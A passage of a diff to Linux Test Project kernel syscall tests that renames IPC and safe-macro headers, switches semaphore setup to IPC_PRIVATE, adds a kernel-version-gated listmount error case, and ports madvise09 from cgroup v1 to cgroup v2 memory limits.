#include "tst_test.h" #include "lapi/sem.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/syscalls.h" static int sem_id = -1; @@ -84,14 +84,11 @@ static void verify_semctl(unsigned int n) static void setup(void) { - static key_t semkey; struct test_variants *tv = &variants[tst_variant]; tst_res(TINFO, "Testing variant: %s", tv->desc); - semkey = GETIPCKEY(); - - sem_id = SAFE_SEMGET(semkey, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA); + sem_id = SAFE_SEMGET(IPC_PRIVATE, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA); bad_ptr = tst_get_bad_addr(NULL); } diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl04.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl04.c index f6fa361b..d01bb3db 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl04.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl04.c @@ -17,7 +17,7 @@ #include "tst_safe_sysv_ipc.h" #include "tst_test.h" #include "lapi/sem.h" -#include "libnewipc.h" +#include "tse_newipc.h" static uid_t ltp_uid; static int sem_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl05.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl05.c index 5feee008..f1ab69f5 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl05.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl05.c @@ -13,7 +13,7 @@ #include "tst_safe_sysv_ipc.h" #include "tst_test.h" #include "lapi/sem.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int sem_id = -1; @@ -45,11 +45,7 @@ static void verify_semctl(unsigned int n) static void setup(void) { - static key_t semkey; - - semkey = GETIPCKEY(); - - sem_id = SAFE_SEMGET(semkey, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA); + sem_id = SAFE_SEMGET(IPC_PRIVATE, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA); } static void cleanup(void) diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl06.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl06.c index b8734c2f..e06d17d8 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl06.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl06.c @@ -53,7 +53,7 @@ #include <signal.h> #include "test.h" #include <sys/wait.h> -#include "ipcsem.h" +#include "tse_ipcsem.h" int local_flag = 1; diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl07.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl07.c index 588fb243..a0b5f492 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl07.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl07.c @@ -20,7 +20,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/sem.h" static int semid = -1; @@ -130,10 +130,9 @@ static void verify_semctl(void) static void setup(void) { - key_t key = GETIPCKEY(); nsems = 1; - semid = SAFE_SEMGET(key, nsems, SEM_RA | IPC_CREAT); + semid = SAFE_SEMGET(IPC_PRIVATE, nsems, SEM_RA | IPC_CREAT); } static void cleanup(void) diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl08.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl08.c index f4549adf..083179c9 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl08.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl08.c @@ -10,7 +10,7 @@ #include "lapi/sembuf.h" #include "lapi/sem.h" #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #ifdef HAVE_SEMID64_DS_TIME_HIGH diff --git a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl09.c b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl09.c index 32b411ef..f315484c 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semctl/semctl09.c +++ b/ltp/testcases/kernel/syscalls/ipc/semctl/semctl09.c @@ -40,7 +40,7 @@ #include <pwd.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/sem.h" #include "lapi/syscalls.h" diff --git a/ltp/testcases/kernel/syscalls/ipc/semget/semget01.c b/ltp/testcases/kernel/syscalls/ipc/semget/semget01.c index 3c05517e..50a05d74 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semget/semget01.c +++ b/ltp/testcases/kernel/syscalls/ipc/semget/semget01.c @@ -12,7 +12,7 @@ #include <sys/ipc.h> #include "lapi/sem.h" #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_safe_sysv_ipc.h" static int sem_id = -1, sem_key = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/semget/semget02.c b/ltp/testcases/kernel/syscalls/ipc/semget/semget02.c index d381bbd6..4f292465 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semget/semget02.c +++ b/ltp/testcases/kernel/syscalls/ipc/semget/semget02.c @@ -26,7 +26,7 @@ #include <pwd.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/sem.h" static int sem_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/semget/semget05.c b/ltp/testcases/kernel/syscalls/ipc/semget/semget05.c index 0e41a152..57a65dbd 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semget/semget05.c +++ b/ltp/testcases/kernel/syscalls/ipc/semget/semget05.c @@ -16,7 +16,7 @@ #include <sys/ipc.h> #include "lapi/sem.h" #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_safe_sysv_ipc.h" static int *sem_id_arr; diff --git a/ltp/testcases/kernel/syscalls/ipc/semop/semop01.c b/ltp/testcases/kernel/syscalls/ipc/semop/semop01.c index 20726353..f5861a0a 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semop/semop01.c +++ b/ltp/testcases/kernel/syscalls/ipc/semop/semop01.c @@ -9,7 +9,7 @@ #include <stdlib.h> #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/sem.h" #include "semop.h" diff --git a/ltp/testcases/kernel/syscalls/ipc/semop/semop02.c b/ltp/testcases/kernel/syscalls/ipc/semop/semop02.c index d8181db1..f82edf9f 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semop/semop02.c +++ b/ltp/testcases/kernel/syscalls/ipc/semop/semop02.c @@ -23,7 +23,7 @@ #include <pwd.h> #include <sys/ipc.h> #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/sem.h" #include "semop.h" diff --git a/ltp/testcases/kernel/syscalls/ipc/semop/semop03.c b/ltp/testcases/kernel/syscalls/ipc/semop/semop03.c index 636b7153..48101514 100644 --- a/ltp/testcases/kernel/syscalls/ipc/semop/semop03.c +++ b/ltp/testcases/kernel/syscalls/ipc/semop/semop03.c @@ -12,7 +12,7 @@ #include <sys/types.h> #include <sys/wait.h> #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/sem.h" #include "semop.h" diff --git a/ltp/testcases/kernel/syscalls/ipc/shmat/shmat01.c b/ltp/testcases/kernel/syscalls/ipc/shmat/shmat01.c index 606bdd15..e07e5a4f 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmat/shmat01.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmat/shmat01.c @@ -26,7 +26,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define ALIGN_DOWN(in_addr) ((void *)(((uintptr_t)in_addr / SHMLBA) * SHMLBA)) diff --git a/ltp/testcases/kernel/syscalls/ipc/shmat/shmat02.c b/ltp/testcases/kernel/syscalls/ipc/shmat/shmat02.c index 3ad1fd08..dc8ea33c 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmat/shmat02.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmat/shmat02.c @@ -22,7 +22,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int shm_id1 = -1; static int shm_id2 = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmat/shmat04.c b/ltp/testcases/kernel/syscalls/ipc/shmat/shmat04.c index 7b7b802c..2669d8ad 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmat/shmat04.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmat/shmat04.c @@ -21,7 +21,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int segment_id = -1; static int key_id; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c index e86cd710..05aea58c 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c @@ -20,7 +20,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" #include "tst_clocks.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define NCHILD 20 diff --git a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c index 0b12944c..64962527 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl02.c @@ -29,7 +29,7 @@ #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/syscalls.h" #define SHM_SIZE 2048 diff --git a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c index a3291c37..a1f53e7c 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl03.c @@ -11,7 +11,7 @@ #define _GNU_SOURCE #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static void verify_ipcinfo(void) { diff --git a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c index da73863d..f436e763 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl04.c @@ -22,8 +22,9 @@ #include <stdio.h> #include <pwd.h> #include "tst_test.h" +#include "tst_safe_stdio.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/shm.h" #define SHM_SIZE 2048 @@ -42,7 +43,7 @@ static struct tcases { static void parse_proc_sysvipc(struct shm_info *info) { int page_size = getpagesize(); - FILE *f = fopen("/proc/sysvipc/shm", "r"); + FILE *f = SAFE_FOPEN("/proc/sysvipc/shm", "r"); int used_ids = 0; int shmid_max = 0; unsigned long shm_rss = 0; @@ -57,7 +58,8 @@ static void parse_proc_sysvipc(struct shm_info *info) break; } - int shmid, size, rss, swap; + int shmid, rss, swap; + unsigned long size; /* * Sum rss, swap and size for all elements listed, which should equal @@ -66,8 +68,8 @@ static void parse_proc_sysvipc(struct shm_info *info) * Note that the size has to be rounded up to nearest multiple of page * size. */ - while (fscanf(f, "%*i %i %*i %i %*i %*i %*i %*i %*i %*i %*i %*i %*i %*i %i %i", - &shmid, &size, &rss, &swap) > 0) { + while (fscanf(f, "%*i %i %*i %lu %*i %*i %*i %*i %*i %*i %*i %*i %*i %*i %i %i", + &shmid, &size, &rss, &swap) == 4) { used_ids++; shm_rss += rss/page_size; shm_swp += swap/page_size; @@ -84,27 +86,27 @@ static void parse_proc_sysvipc(struct shm_info *info) } if (info->shm_rss != shm_rss) { - tst_res(TFAIL, "shm_rss = %li, expected %li", + tst_res(TFAIL, "shm_rss = %lu, expected %lu", info->shm_rss, shm_rss); } else { - tst_res(TPASS, "shm_rss = %li", shm_rss); + tst_res(TPASS, "shm_rss = %lu", shm_rss); } if (info->shm_swp != shm_swp) { - tst_res(TFAIL, "shm_swp = %li, expected %li", + tst_res(TFAIL, "shm_swp = %lu, expected %lu", info->shm_swp, shm_swp); } else { - tst_res(TPASS, "shm_swp = %li", shm_swp); + tst_res(TPASS, "shm_swp = %lu", shm_swp); } if (info->shm_tot != shm_tot) { - tst_res(TFAIL, "shm_tot = %li, expected %li", + tst_res(TFAIL, "shm_tot = %lu, expected %lu", info->shm_tot, shm_tot); } else { - tst_res(TPASS, "shm_tot = %li", shm_tot); + tst_res(TPASS, "shm_tot = %lu", shm_tot); } - fclose(f); + SAFE_FCLOSE(f); } static void verify_shminfo(unsigned int n) diff --git a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl06.c b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl06.c index 63e7f843..0847761c 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl06.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl06.c @@ -9,7 +9,7 @@ #include <sys/shm.h> #include "lapi/shmbuf.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_test.h" #include "tst_safe_sysv_ipc.h" diff --git a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl07.c b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl07.c index 1cc07ead..358b9650 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl07.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl07.c @@ -11,7 +11,7 @@ #include <stdio.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHM_SIZE 2048 diff --git a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c index f72f9f9e..d64465af 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmctl/shmctl08.c @@ -14,7 +14,7 @@ #include <stdio.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define SHM_SIZE 2048 diff --git a/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c b/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c index 0a6d4096..e21e9aa2 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c @@ -13,7 +13,7 @@ #include <sys/shm.h> #include <setjmp.h> #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_safe_sysv_ipc.h" static int shm_id = -1, shm_key, pass; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c b/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c index 4bdc6eb2..1f716cb6 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c @@ -13,7 +13,7 @@ #include <sys/types.h> #include <sys/shm.h> #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" static void *non_attched_addr; static void *unaligned_addr; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget02.c b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget02.c index 8a0961b0..5c77d47d 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget02.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget02.c @@ -32,7 +32,7 @@ #include "tst_safe_sysv_ipc.h" #include "tst_kconfig.h" #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/shm.h" static int shm_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget03.c b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget03.c index 092f2170..a54540d5 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget03.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget03.c @@ -17,7 +17,7 @@ #include <sys/shm.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" static int *queues; static int maxshms, queue_cnt, used_cnt; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget04.c b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget04.c index 2a6a676c..0f73b2b7 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget04.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget04.c @@ -19,7 +19,7 @@ #include <sys/shm.h> #include "tst_safe_sysv_ipc.h" #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "lapi/shm.h" static int shm_id = -1; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget05.c b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget05.c index d96a9854..24667493 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget05.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget05.c @@ -21,7 +21,7 @@ #include <sys/shm.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define NEXT_ID_PATH "/proc/sys/kernel/shm_next_id" static int shm_id, pid; diff --git a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget06.c b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget06.c index f4bd61bc..420844f0 100644 --- a/ltp/testcases/kernel/syscalls/ipc/shmget/shmget06.c +++ b/ltp/testcases/kernel/syscalls/ipc/shmget/shmget06.c @@ -19,7 +19,7 @@ #include <sys/shm.h> #include "tst_test.h" #include "tst_safe_sysv_ipc.h" -#include "libnewipc.h" +#include "tse_newipc.h" #define NEXT_ID_PATH "/proc/sys/kernel/shm_next_id" diff --git a/ltp/testcases/kernel/syscalls/kill/kill05.c b/ltp/testcases/kernel/syscalls/kill/kill05.c index 3c317e2f..d4499566 100644 --- a/ltp/testcases/kernel/syscalls/kill/kill05.c +++ b/ltp/testcases/kernel/syscalls/kill/kill05.c @@ -20,7 +20,7 @@ #include <pwd.h> #include <stdlib.h> #include "tst_test.h" -#include "libnewipc.h" +#include "tse_newipc.h" #include "tst_safe_sysv_ipc.h" #include "tst_safe_macros.h" #include "tst_uid.h" diff --git a/ltp/testcases/kernel/syscalls/landlock/landlock07.c b/ltp/testcases/kernel/syscalls/landlock/landlock07.c index 7ef0f756..0dfa7ea1 100644 --- a/ltp/testcases/kernel/syscalls/landlock/landlock07.c +++ b/ltp/testcases/kernel/syscalls/landlock/landlock07.c @@ -3,19 +3,14 @@ * Copyright (C) 2024 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> */ -/** +/*\ * CVE-2024-42318 * * Test to check if system is affected by Landlock Houdini bug: * https://www.suse.com/security/cve/CVE-2024-42318.html * * Kernel bug fixed in: - * - * commit 39705a6c29f8a2b93cf5b99528a55366c50014d1 - * Author: Jann Horn <jannh@google.com> - * Date: Wed Jul 24 14:49:01 2024 +0200 - * - * landlock: Don't lose track of restrictions on cred_transfer + * 39705a6c29f8a ("landlock: Don't lose track of restrictions on cred_transfer") # v6.11-rc1 */ #include "tst_test.h" diff --git a/ltp/testcases/kernel/syscalls/landlock/landlock08.c b/ltp/testcases/kernel/syscalls/landlock/landlock08.c index 7c498e6d..7e7d8470 100644 --- a/ltp/testcases/kernel/syscalls/landlock/landlock08.c +++ b/ltp/testcases/kernel/syscalls/landlock/landlock08.c @@ -102,12 +102,28 @@ static void test_connect(const int addr_family, const in_port_t port, SAFE_CLOSE(socket.fd); } +static int check_ipv6_support(void) +{ + int fd; + + fd = socket(AF_INET6, SOCK_STREAM, 0); + if (fd == -1 && errno == EAFNOSUPPORT) { + tst_res(TCONF, "IPv6 not supported in kernel"); + return 0; + } + if (fd != -1) + close(fd); + return 1; +} + static void run(void) { int addr_family = variants[tst_variant]; tst_res(TINFO, "Using %s protocol", addr_family == AF_INET ? "IPV4" : "IPV6"); + if (addr_family == AF_INET6 && !check_ipv6_support()) + return; if (!SAFE_FORK()) { create_server(addr_family); diff --git a/ltp/testcases/kernel/syscalls/linkat/linkat01.c b/ltp/testcases/kernel/syscalls/linkat/linkat01.c index 57cfbcfc..fa2065bb 100644 --- a/ltp/testcases/kernel/syscalls/linkat/linkat01.c +++ b/ltp/testcases/kernel/syscalls/linkat/linkat01.c @@ -57,7 +57,7 @@ #include <limits.h> #include "test.h" #include "lapi/syscalls.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #ifndef AT_FDCWD #define AT_FDCWD -100 diff --git a/ltp/testcases/kernel/syscalls/linkat/linkat02.c b/ltp/testcases/kernel/syscalls/linkat/linkat02.c index 47383ace..27358727 100644 --- a/ltp/testcases/kernel/syscalls/linkat/linkat02.c +++ b/ltp/testcases/kernel/syscalls/linkat/linkat02.c @@ -31,7 +31,7 @@ #include "test.h" #include "lapi/syscalls.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" #define DIR_MODE (S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \ diff --git a/ltp/testcases/kernel/syscalls/listen/listen01.c b/ltp/testcases/kernel/syscalls/listen/listen01.c index d33f209c..109711b1 100644 --- a/ltp/testcases/kernel/syscalls/listen/listen01.c +++ b/ltp/testcases/kernel/syscalls/listen/listen01.c @@ -53,7 +53,7 @@ #include <netinet/in.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "listen01"; int testno; diff --git a/ltp/testcases/kernel/syscalls/listmount/listmount.h b/ltp/testcases/kernel/syscalls/listmount/listmount.h index aad927f7..e7ef375d 100644 --- a/ltp/testcases/kernel/syscalls/listmount/listmount.h +++ b/ltp/testcases/kernel/syscalls/listmount/listmount.h @@ -15,7 +15,7 @@ static inline ssize_t listmount(uint64_t mnt_id, uint64_t last_mnt_id, uint64_t list[], size_t num, unsigned int flags) { - struct mnt_id_req req = { + mnt_id_req req = { .size = MNT_ID_REQ_SIZE_VER0, .mnt_id = mnt_id, .param = last_mnt_id, diff --git a/ltp/testcases/kernel/syscalls/listmount/listmount04.c b/ltp/testcases/kernel/syscalls/listmount/listmount04.c index a52bad06..919f4c85 100644 --- a/ltp/testcases/kernel/syscalls/listmount/listmount04.c +++ b/ltp/testcases/kernel/syscalls/listmount/listmount04.c @@ -7,6 +7,7 @@ * Verify that listmount() raises the correct errors according with * invalid data: * + * - EBADF: invalid mnt_ns_fd * - EFAULT: req or mnt_id are unaccessible memories * - EINVAL: invalid flags or mnt_id request * - ENOENT: non-existent mount point @@ -14,14 +15,22 @@ #define _GNU_SOURCE +#include "config.h" #include "tst_test.h" #include "lapi/mount.h" #include "lapi/syscalls.h" #define MNT_SIZE 32 +/* + * For commit 78f0e33cd6c9 ("fs/namespace: correctly handle errors returned + * by grab_requested_mnt_ns") from v6.18-rc7 backported to v6.17.9. + */ +#define BEFORE_6_17_9 1 +#define AFTER_6_17_9 2 -static struct mnt_id_req *request; +static mnt_id_req *request; static uint64_t mnt_ids[MNT_SIZE]; +static int kver; static struct tcase { int req_usage; @@ -34,6 +43,7 @@ static struct tcase { uint64_t flags; int exp_errno; char *msg; + int kver; } tcases[] = { { .req_usage = 0, @@ -79,6 +89,18 @@ static struct tcase { .nr_mnt_ids = MNT_SIZE, .exp_errno = EINVAL, .msg = "invalid mnt_id_req.spare", + .kver = BEFORE_6_17_9, + }, + { + .req_usage = 1, + .size = MNT_ID_REQ_SIZE_VER0, + .spare = -1, + .mnt_id = LSMT_ROOT, + .mnt_ids = mnt_ids, + .nr_mnt_ids = MNT_SIZE, + .exp_errno = EBADF, + .msg = "invalid mnt_id_req.mnt_ns_fd", + .kver = AFTER_6_17_9, }, { .req_usage = 1, @@ -113,7 +135,12 @@ static struct tcase { static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - struct mnt_id_req *req = NULL; + mnt_id_req *req = NULL; + + if (tc->kver && tc->kver != kver) { + tst_res(TCONF, "Test not suitable for current kernel version"); + return; + } memset(mnt_ids, 0, sizeof(mnt_ids)); @@ -122,7 +149,7 @@ static void run(unsigned int n) req->mnt_id = tc->mnt_id; req->param = tc->param; req->size = tc->size; - req->spare = tc->spare; + req->mnt_ns_fd = tc->spare; } TST_EXP_FAIL(tst_syscall(__NR_listmount, req, tc->mnt_ids, @@ -130,10 +157,19 @@ static void run(unsigned int n) "%s", tc->msg); } +static void setup(void) +{ + if (tst_kvercmp(6, 17, 9) >= 0) + kver = AFTER_6_17_9; + else + kver = BEFORE_6_17_9; +} + static struct tst_test test = { .test = run, + .setup = setup, .tcnt = ARRAY_SIZE(tcases), - .min_kver = "6.8", + .min_kver = "6.11", .bufs = (struct tst_buffers []) { { &request, .size = MNT_ID_REQ_SIZE_VER0 }, {}, diff --git a/ltp/testcases/kernel/syscalls/lstat/lstat03.c b/ltp/testcases/kernel/syscalls/lstat/lstat03.c index a0ff4dc9..9438e292 100644 --- a/ltp/testcases/kernel/syscalls/lstat/lstat03.c +++ b/ltp/testcases/kernel/syscalls/lstat/lstat03.c @@ -70,7 +70,7 @@ static void setup(void) SAFE_CLOSE(fd); /* change st_atime / st_mtime / st_ctime */ - usleep(1001000); + usleep(1500000); SAFE_SYMLINK(FILENAME, SYMBNAME); } diff --git a/ltp/testcases/kernel/syscalls/madvise/madvise09.c b/ltp/testcases/kernel/syscalls/madvise/madvise09.c index 1a5cc9dc..87fe096f 100644 --- a/ltp/testcases/kernel/syscalls/madvise/madvise09.c +++ b/ltp/testcases/kernel/syscalls/madvise/madvise09.c @@ -17,12 +17,12 @@ * o Write to some of the madvised pages again, these must not be freed * * o Set memory limits - * - limit_in_bytes = 8MB - * - memsw.limit_in_bytes = 16MB + * - memory.max = 8MB + * - memory.swap.max = 16MB * - * The reason for doubling the limit_in_bytes is to have safe margin + * The reason for doubling the memory.max is to have safe margin * for forking the memory hungy child etc. And the reason to setting - * memsw.limit_in_bytes to twice of that is to give the system chance + * memory.swap.max to twice of that is to give the system chance * to try to free some memory before cgroup OOM kicks in and kills * the memory hungry child. * @@ -45,13 +45,6 @@ #include "tst_test.h" #include "lapi/mmap.h" -#define MEMCG_PATH "/sys/fs/cgroup/memory/" - -static char cgroup_path[PATH_MAX]; -static char tasks_path[PATH_MAX]; -static char limit_in_bytes_path[PATH_MAX]; -static char memsw_limit_in_bytes_path[PATH_MAX]; - static size_t page_size; static int sleep_between_faults; @@ -61,6 +54,9 @@ static int swap_accounting_enabled; #define TOUCHED_PAGE1 0 #define TOUCHED_PAGE2 10 +#define MEM_LIMIT (8 * 1024 * 1024) +#define SWAP_LIMIT (2 * MEM_LIMIT) + static void memory_pressure_child(void) { size_t i, page_size = getpagesize(); @@ -90,17 +86,6 @@ static void memory_pressure_child(void) abort(); } -static void setup_cgroup_paths(int pid) -{ - snprintf(cgroup_path, sizeof(cgroup_path), - MEMCG_PATH "ltp_madvise09_%i/", pid); - snprintf(tasks_path, sizeof(tasks_path), "%s/tasks", cgroup_path); - snprintf(limit_in_bytes_path, sizeof(limit_in_bytes_path), - "%s/memory.limit_in_bytes", cgroup_path); - snprintf(memsw_limit_in_bytes_path, sizeof(memsw_limit_in_bytes_path), - "%s/memory.memsw.limit_in_bytes", cgroup_path); -} - static int count_freed(char *ptr) { int i, ret = 0; @@ -157,14 +142,12 @@ static void child(void) { size_t i; char *ptr; - unsigned int usage, old_limit, old_memsw_limit; int status, pid, retries = 0; - SAFE_MKDIR(cgroup_path, 0777); - SAFE_FILE_PRINTF(tasks_path, "%i", getpid()); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); ptr = SAFE_MMAP(NULL, PAGES * page_size, PROT_READ | PROT_WRITE, - MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); for (i = 0; i < PAGES * page_size; i++) ptr[i] = 'a'; @@ -184,18 +167,15 @@ static void child(void) ptr[TOUCHED_PAGE1 * page_size] = 'b'; ptr[TOUCHED_PAGE2 * page_size] = 'b'; - usage = 8 * 1024 * 1024; - tst_res(TINFO, "Setting memory limits to %u %u", usage, 2 * usage); - - SAFE_FILE_SCANF(limit_in_bytes_path, "%u", &old_limit); - - if (swap_accounting_enabled) - SAFE_FILE_SCANF(memsw_limit_in_bytes_path, "%u", &old_memsw_limit); - - SAFE_FILE_PRINTF(limit_in_bytes_path, "%u", usage); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%d", MEM_LIMIT); + tst_res(TINFO, "Setting memory.max to %d bytes", MEM_LIMIT); - if (swap_accounting_enabled) - SAFE_FILE_PRINTF(memsw_limit_in_bytes_path, "%u", 2 * usage); + if (swap_accounting_enabled) { + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%d", SWAP_LIMIT); + tst_res(TINFO, "Setting memory.swap.max to %d bytes", SWAP_LIMIT); + } else { + tst_res(TINFO, "memory.swap.max is unavailable, running without SWAP_LIMIT"); + } do { sleep_between_faults++; @@ -204,7 +184,7 @@ static void child(void) if (!pid) memory_pressure_child(); - tst_res(TINFO, "Memory hungry child %i started, try %i", pid, retries); + tst_res(TINFO, "Memory pressure process %i started, try %i", pid, retries); SAFE_WAIT(&status); } while (retries++ < 10 && count_freed(ptr) == 0); @@ -239,34 